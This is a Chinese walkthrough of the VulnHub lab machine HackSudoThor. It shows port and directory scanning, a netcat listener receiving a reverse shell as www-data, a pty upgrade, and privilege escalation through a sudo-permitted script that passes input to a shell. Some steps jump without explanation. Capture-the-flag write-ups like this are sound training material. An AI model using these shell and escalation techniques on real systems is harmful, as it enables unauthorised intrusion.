由于将 Kali 与 VulnHub 使用 Virtual Box 仅主机网卡进行了桥接，所以使用 Kali 去扫描靶机。
首先查看 Kali IP 地址：
1 2 3 4
root at kali in ~ $ ifconfig | grep -A 1 "eth0" eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.8.5 netmask 255.255.255.0 broadcast 192.168.8.255
扫描当前网段，发现靶机 IP 地址：
1 2 3 4 5 6 7 8 9 10
root at kali in ~ $ arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:74:7b:e4, IPv4: 192.168.8.5 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.8.1 0a:00:27:00:00:09 (Unknown: locally administered) 192.168.8.2 08:00:27:33:13:63 PCS Systemtechnik GmbH 192.168.8.11 08:00:27:fa:75:40 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.939 seconds (132.03 hosts/sec). 3 responded
扫描端口对应服务：
1 2 3 4 5 6 7 8 9 10 11 12 13
root at kali in ~ $ nmap -p- --min-rate 10000 192.168.8.11 Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-04 10:55 CST Nmap scan report for 192.168.8.11 Host is up (0.017s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 21/tcp filtered ftp 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:FA:75:40 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 11.90 seconds
针对端口服务扫描一下漏洞：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
root at kali in ~ $ nmap -p 21,22,80 -sV 192.168.8.11 Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-04 10:56 CST Nmap scan report for 192.168.8.11 Host is up (0.00084s latency).
PORT STATE SERVICE VERSION 21/tcp filtered ftp 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) MAC Address: 08:00:27:FA:75:40 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.39 seconds
扫描出 80 端口的 Web 服务，通常情况下不考虑 SSH 爆破，访问一下 Web 服务：
登录框这里可能会出现的漏洞：
SQL 注入 - 万能密码
弱口令
但实际上都没有，经过随便乱翻，发现一个网页注释：
先记下来看看后续的用途。
2 目录扫描
由于没有其他线索使用 feroxbuster 扫一扫：
1 2
root at kali in /usr/share/dirbuster/wordlists $ dirsearch -u "http://192.168.8.11" -o ~/outfile.txt
192.168.8.11> nc -h [v1.10-41.1] connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [-options] [hostname] [port] options: -c shell commands as `-e'; use /bin/sh to exec [dangerous!!] -e filename program to exec after connect [dangerous!!] -b allow broadcasts -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -k set keepalive option on socket -l listen mode, for inbound connects -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -q secs quit after EOF on stdin and delay of secs -s addr local source address -T tos set Type Of Service -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -C Send CRLF as line-ending -z zero-I/O mode [used f
root at kali in ~ $ nc -lvvp 4444 listening on [any] 4444 ... 192.168.8.11: inverse host lookup failed: Unknown host connect to [192.168.8.5] from (UNKNOWN) [192.168.8.11] 58520 id uid=33(www-data) gid=33(www-data) groups=33(www-data) type python python is /usr/bin/python python3 -c 'import pty;pty.spawn("/bin/bash")' bash-4.3$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data)
6 SUDO 提权（一）
上述权限肯定是不够的，使用 sudo -l 看看，是否有命令存在：
1 2 3 4 5 6 7 8
bash-4.3$ sudo -l sudo -l Matching Defaults entries for www-data on HackSudoThor: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on HackSudoThor: (thor) NOPASSWD: /home/thor/./hammer.sh
Enter Thor Secret Key : id id Hey Dear ! I am id , Please enter your Secret massage : id id uid=1001(thor) gid=1001(thor) groups=1001(thor) Thank you for your precious time!
Enter Thor Secret Key : xixi xixi Hey Dear ! I am xixi , Please enter your Secret massage : /bin/bash /bin/bash id id uid=1001(thor) gid=1001(thor) groups=1001(thor)
[+] We can sudo without supplying a password! Matching Defaults entries for thor on HackSudoThor: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User thor may run the following commands on HackSudoThor: (root) NOPASSWD: /usr/bin/cat, /usr/sbin/service
